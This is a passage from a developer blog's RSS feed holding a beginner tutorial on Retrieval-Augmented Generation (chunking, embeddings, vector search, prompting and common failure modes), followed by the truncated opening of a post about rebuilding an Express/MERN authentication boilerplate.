      <title>RAG Explained: How AI Answers Questions Using Your Own Data</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Tue, 13 Oct 2026 09:22:18 +0000</pubDate>
      <link>https://dev.to/devcodehub99/rag-explained-how-ai-answers-questions-using-your-own-data-2ne0</link>
      <guid>https://dev.to/devcodehub99/rag-explained-how-ai-answers-questions-using-your-own-data-2ne0</guid>
      <description>&lt;h2&gt;
  
  
  RAG Explained: How AI Answers Questions Using Your Own Data
&lt;/h2&gt;

&lt;p&gt;Imagine building an AI assistant that can answer questions about your company's internal documents, product manuals, PDFs, or database records.&lt;/p&gt;

&lt;p&gt;You ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What is our refund policy for products purchased more than 30 days ago?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A general-purpose AI model might give you a generic answer. But you need an answer based on &lt;strong&gt;your actual refund policy&lt;/strong&gt;, not something the model assumes.&lt;/p&gt;

&lt;p&gt;How can you make an AI application answer questions using your own data?&lt;/p&gt;

&lt;p&gt;One popular approach is &lt;strong&gt;RAG (Retrieval-Augmented Generation)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Let's understand what it is, how it works, and why it matters when building real-world AI applications.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. What Is RAG?
&lt;/h2&gt;

&lt;p&gt;RAG stands for &lt;strong&gt;Retrieval-Augmented Generation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It is a technique that combines two capabilities:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Retrieval:&lt;/strong&gt; Finding relevant information from an external knowledge source.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Generation:&lt;/strong&gt; Using a Large Language Model (LLM) to generate an answer based on that information.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Instead of relying only on what the model learned during training, a RAG application retrieves relevant information at query time and provides it to the model as context.&lt;/p&gt;

&lt;p&gt;In simple terms:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RAG = Retrieve relevant information + Give it to an LLM + Generate an answer.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For example, suppose you upload your company's refund policy as a PDF.&lt;/p&gt;

&lt;p&gt;When someone asks about refunds, the application searches the document, finds the relevant section, and gives that section to the LLM to generate an answer.&lt;/p&gt;

&lt;p&gt;The result is an answer grounded in your own information rather than a generic response.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Why Do We Need RAG?
&lt;/h2&gt;

&lt;p&gt;LLMs are powerful, but they have limitations.&lt;/p&gt;

&lt;h3&gt;
  
  
  Problem 1: They Don't Automatically Know Your Private Data
&lt;/h3&gt;

&lt;p&gt;A general-purpose model does not automatically know the contents of your private documents, internal company policies, or personal files.&lt;/p&gt;

&lt;p&gt;You need a way to provide that information to the model.&lt;/p&gt;

&lt;h3&gt;
  
  
  Problem 2: Their Knowledge May Be Outdated
&lt;/h3&gt;

&lt;p&gt;A model's training data has a cutoff, and it cannot automatically know about every recent change.&lt;/p&gt;

&lt;p&gt;For example, your company might update its pricing policy today. The model's existing knowledge does not automatically update with it.&lt;/p&gt;

&lt;p&gt;RAG can retrieve the latest available policy from your knowledge source, provided the source has been updated and indexed or queried appropriately.&lt;/p&gt;

&lt;h3&gt;
  
  
  Problem 3: They Can Hallucinate
&lt;/h3&gt;

&lt;p&gt;LLMs can produce answers that sound convincing but are incorrect.&lt;/p&gt;

&lt;p&gt;Giving a model relevant source material can help reduce this risk, although RAG does not eliminate hallucinations.&lt;/p&gt;

&lt;p&gt;The model may still misunderstand the retrieved information or generate unsupported claims.&lt;/p&gt;

&lt;h3&gt;
  
  
  Problem 4: Fine-Tuning Is Not Always the Answer
&lt;/h3&gt;

&lt;p&gt;Fine-tuning can help adapt a model's behavior, but it is not generally the simplest way to keep changing factual information available to an application.&lt;/p&gt;

&lt;p&gt;If your main requirement is to answer questions about frequently updated documents, RAG is often a better starting point.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. How Does RAG Work?
&lt;/h2&gt;

&lt;p&gt;A typical RAG system has two main stages:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Preparing your data.&lt;/li&gt;
&lt;li&gt;Retrieving information and generating answers.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's walk through both.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage A: Preparing Your Data
&lt;/h3&gt;

&lt;p&gt;Before users can ask questions, the application needs to make your data searchable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Collect your documents&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Your knowledge source might contain:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PDF files&lt;/li&gt;
&lt;li&gt;Documentation&lt;/li&gt;
&lt;li&gt;Product manuals&lt;/li&gt;
&lt;li&gt;Website content&lt;/li&gt;
&lt;li&gt;Company policies&lt;/li&gt;
&lt;li&gt;Text files&lt;/li&gt;
&lt;li&gt;Support articles&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For this example, imagine you have a PDF containing your company's refund policy.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Extract the text&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The application extracts readable text from the document.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Customers can request a refund within 30 days
of purchase if the product is eligible.

Products damaged through misuse are not eligible
for a refund.

Approved refunds are processed within 5-7
business days.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Scanned PDFs may require OCR (Optical Character Recognition) before their text can be extracted.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Split the text into chunks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Why not store the entire document as one large piece of text?&lt;/p&gt;

&lt;p&gt;Because searching and retrieving smaller, meaningful sections is often more effective than passing an entire collection of documents to the model.&lt;/p&gt;

&lt;p&gt;A process called &lt;em&gt;chunking&lt;/em&gt; splits documents into smaller pieces.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Chunk 1:
Customers can request a refund within 30 days
of purchase if the product is eligible.

Chunk 2:
Products damaged through misuse are not eligible
for a refund.

Chunk 3:
Approved refunds are processed within 5-7
business days.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each chunk should preserve enough context to remain meaningful.&lt;/p&gt;

&lt;p&gt;Chunks that are too small may lose important context. Chunks that are too large may include unnecessary information.&lt;/p&gt;

&lt;p&gt;There is no universally perfect chunk size. The right choice depends on the documents, retrieval method, and application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Generate embeddings&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is where embeddings enter the picture.&lt;/p&gt;

&lt;p&gt;An embedding model converts text into a numerical representation called a &lt;em&gt;vector&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"Refunds are available within 30 days"

             ↓

Embedding model

             ↓

[0.12, -0.34, 0.87, 0.21, ...]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The actual vector may contain hundreds or thousands of numerical dimensions, depending on the model.&lt;/p&gt;

&lt;p&gt;These numbers represent aspects of the text's learned meaning.&lt;/p&gt;

&lt;p&gt;Texts with similar meanings often have vectors that are close to one another under an appropriate similarity measure.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"What is the refund period?"&lt;/li&gt;
&lt;li&gt;"How many days do I have to return a product?"&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Although the wording differs, the questions express similar intentions.&lt;/p&gt;

&lt;p&gt;Embeddings help a retrieval system identify this relationship.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5: Store the vectors and their associated text&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The application stores the embeddings alongside the original chunks and relevant metadata.&lt;/p&gt;

&lt;p&gt;A vector database or a database with vector-search capabilities can be used for this purpose.&lt;/p&gt;

&lt;p&gt;Possible options include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PostgreSQL with pgvector&lt;/li&gt;
&lt;li&gt;MongoDB Vector Search&lt;/li&gt;
&lt;li&gt;Pinecone&lt;/li&gt;
&lt;li&gt;Weaviate&lt;/li&gt;
&lt;li&gt;Qdrant&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The exact choice depends on your existing infrastructure, data requirements, filtering needs, and operational constraints.&lt;/p&gt;

&lt;p&gt;Importantly, storing a vector alone is not enough. The application must also be able to retrieve the corresponding source text.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage B: Answering a User's Question
&lt;/h3&gt;

&lt;p&gt;Now imagine a user asks:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Can I get a refund after 20 days?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here is what happens.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Convert the question into an embedding&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The application sends the question to an embedding model.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User question:
"Can I get a refund after 20 days?"

             ↓

Embedding model

             ↓

Query vector
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The query vector represents the question in the embedding model's vector space.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Search for relevant chunks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The application searches its indexed chunks for information relevant to the question.&lt;/p&gt;

&lt;p&gt;For example, it might retrieve:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Customers can request a refund within 30 days
of purchase if the product is eligible.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Depending on the query and retrieval configuration, it might also retrieve the exclusion policy.&lt;/p&gt;

&lt;p&gt;Vector search is one common retrieval method. Keyword search, metadata filtering, and hybrid search can also be useful.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3: Send the retrieved information to the LLM&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The application constructs a prompt containing the user's question and the retrieved text.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;System instruction:

Answer using the provided context.
If the context does not contain enough
information, say that you do not know.

Context:

Customers can request a refund within 30 days
of purchase if the product is eligible.

Question:

Can I get a refund after 20 days?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The LLM receives the context as part of its input.&lt;/p&gt;

&lt;p&gt;Notice that the model does not need to have learned your specific refund policy during training. Your application provides the relevant information at query time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4: Generate the answer&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The LLM generates a response based on the question and retrieved context.&lt;/p&gt;

&lt;p&gt;Example:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Yes, you may request a refund after 20 days because the policy allows refund requests within 30 days of purchase. The product must also be eligible under the refund policy.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The answer is useful because the application retrieved relevant information before asking the model to respond.&lt;/p&gt;

&lt;p&gt;For important decisions, the application should also preserve source references and validate the answer where possible.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. RAG Architecture at a Glance
&lt;/h2&gt;

&lt;p&gt;Here is the complete workflow in a simplified diagram:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;               DATA INGESTION

 Documents / PDFs / Website Content
                  |
                  v
             Text Extraction
                  |
                  v
               Chunking
                  |
                  v
             Embeddings
                  |
                  v
       Vector Database / Index
                  |
                  |
                  v
              USER QUERY
                  |
                  v
         Embed the User Query
                  |
                  v
           Retrieve Relevant
                 Chunks
                  |
                  v
       Build Context + Question
                  |
                  v
               LLM API
                  |
                  v
          Grounded AI Answer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The upper part prepares your knowledge for retrieval. The lower part retrieves relevant information whenever a user asks a question.&lt;/p&gt;

&lt;p&gt;The document ingestion process usually happens before a question arrives, so the application does not need to reprocess every document for every request.&lt;/p&gt;

&lt;p&gt;When documents change, the application can update the relevant index entries.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. RAG vs. a Normal LLM Chatbot
&lt;/h2&gt;

&lt;p&gt;What is the difference between a standard LLM application and a RAG application?&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Normal LLM Chatbot&lt;/th&gt;
&lt;th&gt;RAG Application&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Uses an LLM&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Retrieves external knowledge&lt;/td&gt;
&lt;td&gt;Not necessarily&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Can use private documents&lt;/td&gt;
&lt;td&gt;Only if provided through some mechanism&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Handles changing information&lt;/td&gt;
&lt;td&gt;Depends on the information provided&lt;/td&gt;
&lt;td&gt;Can retrieve updated information from its knowledge source&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Requires a retrieval pipeline&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Usually&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Can provide source references&lt;/td&gt;
&lt;td&gt;If implemented&lt;/td&gt;
&lt;td&gt;Can provide references to retrieved sources&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Can hallucinate&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A normal chatbot can also answer questions about your data if you put the relevant information directly into its prompt or provide it through tools.&lt;/p&gt;

&lt;p&gt;RAG becomes particularly useful when you need to retrieve relevant information from a larger collection of external knowledge.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Does RAG Require a Vector Database?
&lt;/h2&gt;

&lt;p&gt;No.&lt;/p&gt;

&lt;p&gt;This is a common misconception.&lt;/p&gt;

&lt;p&gt;A vector database is one way to implement retrieval, but RAG is an architectural pattern, not a particular database technology.&lt;/p&gt;

&lt;p&gt;You can build a RAG system using different retrieval approaches:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vector search:&lt;/strong&gt; Retrieves content based on semantic similarity using embeddings.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Keyword search:&lt;/strong&gt; Finds content using matching terms or text-search algorithms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hybrid search:&lt;/strong&gt; Combines keyword and vector search to benefit from both approaches.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Database queries:&lt;/strong&gt; Retrieve structured records using SQL or other query mechanisms when the data and question are better suited to structured access.&lt;/p&gt;

&lt;p&gt;For example, if a user asks:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What was my total revenue last month?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A SQL query over a properly designed transactional database is generally a better starting point than embedding every transaction and performing vector search.&lt;/p&gt;

&lt;p&gt;However, if the user asks:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What are the most common complaints customers mention in their feedback?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Semantic retrieval, followed by analysis of the relevant feedback, may be useful.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Choose the retrieval method based on the problem, not because a technology is popular.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  7. RAG vs. Fine-Tuning
&lt;/h2&gt;

&lt;p&gt;RAG and fine-tuning solve different problems.&lt;/p&gt;

&lt;p&gt;RAG provides relevant information to a model at query time.&lt;/p&gt;

&lt;p&gt;Fine-tuning adjusts model behavior by training it further on examples.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;th&gt;RAG&lt;/th&gt;
&lt;th&gt;Fine-Tuning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Access changing documents&lt;/td&gt;
&lt;td&gt;Well suited&lt;/td&gt;
&lt;td&gt;Not inherently suited&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Use private knowledge at query time&lt;/td&gt;
&lt;td&gt;Well suited&lt;/td&gt;
&lt;td&gt;Knowledge may not be reliably stored or recalled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Customize response style&lt;/td&gt;
&lt;td&gt;Possible through prompting&lt;/td&gt;
&lt;td&gt;May help with consistent behavior&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Provide source citations&lt;/td&gt;
&lt;td&gt;Can be designed into the retrieval pipeline&lt;/td&gt;
&lt;td&gt;Does not inherently provide source citations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Update factual information&lt;/td&gt;
&lt;td&gt;Update the knowledge source or index&lt;/td&gt;
&lt;td&gt;May require additional training if relying on learned behavior&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Retrieve relevant passages&lt;/td&gt;
&lt;td&gt;Core capability&lt;/td&gt;
&lt;td&gt;Not its primary purpose&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These techniques are not mutually exclusive. A system can use retrieval and a fine-tuned model together.&lt;/p&gt;

&lt;p&gt;For many applications that need to answer questions about changing company documents, starting with RAG is a practical choice.&lt;/p&gt;

&lt;h2&gt;
  
  
  8. Common RAG Problems
&lt;/h2&gt;

&lt;p&gt;Building a basic RAG pipeline is relatively straightforward. Building one that consistently produces accurate answers is harder.&lt;/p&gt;

&lt;p&gt;Here are some common failure modes.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Poor Chunking
&lt;/h3&gt;

&lt;p&gt;If a chunk separates a statement from its explanation, the retrieved text may not contain enough context to answer the question correctly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What helps:&lt;/strong&gt; Test chunk sizes and splitting strategies against representative questions.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Irrelevant Retrieval
&lt;/h3&gt;

&lt;p&gt;The retrieval system may return text that sounds similar to the query but does not answer it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What helps:&lt;/strong&gt; Evaluate retrieval quality, experiment with hybrid search, and consider reranking results.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Missing Information
&lt;/h3&gt;

&lt;p&gt;If the relevant information was never indexed, or retrieval fails to find it, the LLM may not have enough evidence to answer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What helps:&lt;/strong&gt; Verify document ingestion, improve retrieval, and test questions whose answers are known.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Hallucinated Answers
&lt;/h3&gt;

&lt;p&gt;Even when relevant text is available, the LLM may introduce claims that are not supported by the context.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What helps:&lt;/strong&gt; Use explicit grounding instructions, require evidence where appropriate, and evaluate answers against their sources.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Stale Information
&lt;/h3&gt;

&lt;p&gt;If a document changes but the retrieval index is not updated, the application may retrieve outdated information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What helps:&lt;/strong&gt; Implement document versioning, update workflows, and deletion or replacement of outdated chunks.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Ignoring Access Permissions
&lt;/h3&gt;

&lt;p&gt;A RAG system may retrieve confidential information that the current user should not be allowed to access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What helps:&lt;/strong&gt; Enforce authorization in the retrieval layer. Apply appropriate document-level permissions and filters before exposing retrieved content to the model.&lt;/p&gt;

&lt;p&gt;Prompt instructions alone are not an adequate security boundary.&lt;/p&gt;

&lt;h2&gt;
  
  
  9. Where Is RAG Used in Real Applications?
&lt;/h2&gt;

&lt;p&gt;RAG is useful whenever an application needs to answer questions using a collection of external information.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Customer support assistants&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Retrieve answers from product documentation, troubleshooting guides, and support policies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Internal company assistants&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Help employees find information in approved company documents and knowledge bases.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Document analysis tools&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Answer questions about reports, contracts, manuals, and research papers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Educational applications&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Retrieve relevant passages from course materials and generate explanations based on those materials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Product recommendation assistants&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Retrieve relevant product descriptions and specifications to help users compare options.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Developer documentation assistants&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Answer questions using API references, project documentation, and internal engineering guides.&lt;/p&gt;

&lt;p&gt;Each use case has different requirements for accuracy, permissions, freshness, and evaluation. RAG is a useful building block, not a complete solution by itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  10. What Does a Basic RAG Tech Stack Look Like?
&lt;/h2&gt;

&lt;p&gt;If you are a full-stack developer interested in building a RAG application, you can start with familiar technologies.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Example Technology&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Frontend&lt;/td&gt;
&lt;td&gt;React or Next.js&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Backend&lt;/td&gt;
&lt;td&gt;Node.js with TypeScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Document processing&lt;/td&gt;
&lt;td&gt;PDF and text extraction libraries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Embedding generation&lt;/td&gt;
&lt;td&gt;An embedding model API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Knowledge storage&lt;/td&gt;
&lt;td&gt;MongoDB or PostgreSQL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vector retrieval&lt;/td&gt;
&lt;td&gt;MongoDB Vector Search or pgvector&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Answer generation&lt;/td&gt;
&lt;td&gt;An LLM API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Deployment&lt;/td&gt;
&lt;td&gt;Any suitable application hosting platform&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;You do not need to use every technology in this table.&lt;/p&gt;

&lt;p&gt;For example, if your existing application already uses PostgreSQL, adding pgvector may be simpler than introducing a separate database.&lt;/p&gt;

&lt;p&gt;Likewise, if your documents are small enough for a simple proof of concept, you can start with a lightweight local index before moving to production infrastructure.&lt;/p&gt;

&lt;p&gt;Start small, measure results, and introduce additional components only when the requirements justify them.&lt;/p&gt;

&lt;h2&gt;
  
  
  11. The Most Important Thing to Remember
&lt;/h2&gt;

&lt;p&gt;RAG does not magically make an LLM accurate.&lt;/p&gt;

&lt;p&gt;Its effectiveness depends on several connected components:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The quality of your source documents.&lt;/li&gt;
&lt;li&gt;The correctness of document extraction.&lt;/li&gt;
&lt;li&gt;The way text is chunked.&lt;/li&gt;
&lt;li&gt;The quality of embeddings.&lt;/li&gt;
&lt;li&gt;The retrieval strategy.&lt;/li&gt;
&lt;li&gt;The relevance of the retrieved context.&lt;/li&gt;
&lt;li&gt;The model's ability to use that context correctly.&lt;/li&gt;
&lt;li&gt;The evaluation and security controls around the application.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If retrieval fails, a powerful LLM cannot reliably answer using information it never received.&lt;/p&gt;

&lt;p&gt;If retrieval succeeds but the model misinterprets the evidence, the final answer can still be wrong.&lt;/p&gt;

&lt;p&gt;That is why &lt;strong&gt;RAG quality depends on the entire pipeline, not just the LLM or vector database.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Retrieval-Augmented Generation provides a practical way to build AI applications that answer questions using your own data.&lt;/p&gt;

&lt;p&gt;Instead of expecting an LLM to know everything, a RAG application retrieves relevant information from an external knowledge source and supplies it as context for answer generation.&lt;/p&gt;

&lt;p&gt;The basic workflow is straightforward:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Extract and prepare your data.&lt;/li&gt;
&lt;li&gt;Split documents into meaningful chunks.&lt;/li&gt;
&lt;li&gt;Generate embeddings or build another searchable index.&lt;/li&gt;
&lt;li&gt;Retrieve relevant information for each query.&lt;/li&gt;
&lt;li&gt;Provide that information to an LLM.&lt;/li&gt;
&lt;li&gt;Generate and evaluate the answer.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This approach can make AI applications more useful for private documents, company knowledge, product documentation, and many other information-heavy tasks.&lt;/p&gt;

&lt;p&gt;However, retrieval quality, data freshness, permissions, and evaluation remain essential.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;If you are learning AI engineering, building a small RAG application is an excellent way to understand how LLMs, embeddings, databases, and backend systems work together.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The next step is to build one yourself and test how well it answers questions about a real collection of documents.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;What would you build first with RAG: a PDF question-answering tool, a documentation assistant, or an internal company chatbot?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Share your thoughts in the comments.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>rag</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>I Rebuilt My Auth System From Scratch! Here's the Before vs After That Changed Everything</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Sat, 06 Jun 2026 18:28:02 +0000</pubDate>
      <link>https://dev.to/devcodehub99/i-rebuilt-my-auth-system-from-scratch-heres-the-before-vs-after-that-changed-everything-2cf5</link>
      <guid>https://dev.to/devcodehub99/i-rebuilt-my-auth-system-from-scratch-heres-the-before-vs-after-that-changed-everything-2cf5</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/github-2026-05-21"&gt;GitHub Finish-Up-A-Thon Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;Every developer has &lt;em&gt;that&lt;/em&gt; project. The one you abandoned mid-way, not because the idea was bad, but because life moved faster than your git commits.&lt;/p&gt;

&lt;p&gt;For me, it was my authentication system — a half-baked Express app with manual JWT logic, no password reset, no CSRF protection, and raw MongoDB errors leaking straight to the browser. It worked. Barely. I knew it was a security liability every time I pushed it, but it sat untouched in my GitHub graveyard for months.&lt;/p&gt;

&lt;p&gt;The GitHub Finish-Up-A-Thon gave me the push I needed to stop ignoring it.&lt;/p&gt;

&lt;p&gt;This is the story of how &lt;strong&gt;SecureAuthX&lt;/strong&gt; went from "it probably works" to production-grade.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;SecureAuthX&lt;/strong&gt; is a production-ready authentication boilerplate built on the full MERN stack (MongoDB, Express 5, React 18, Node.js), deployed on Vercel Serverless Functions.&lt;/p&gt;

&lt;p&gt;The core idea: authentication is one of those things every web app needs, but most developers get wrong — especially under pressure. SecureAuthX is the auth layer I wish I had when I started building projects.&lt;/p&gt;

&lt;p&gt;What it handles out of the box:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
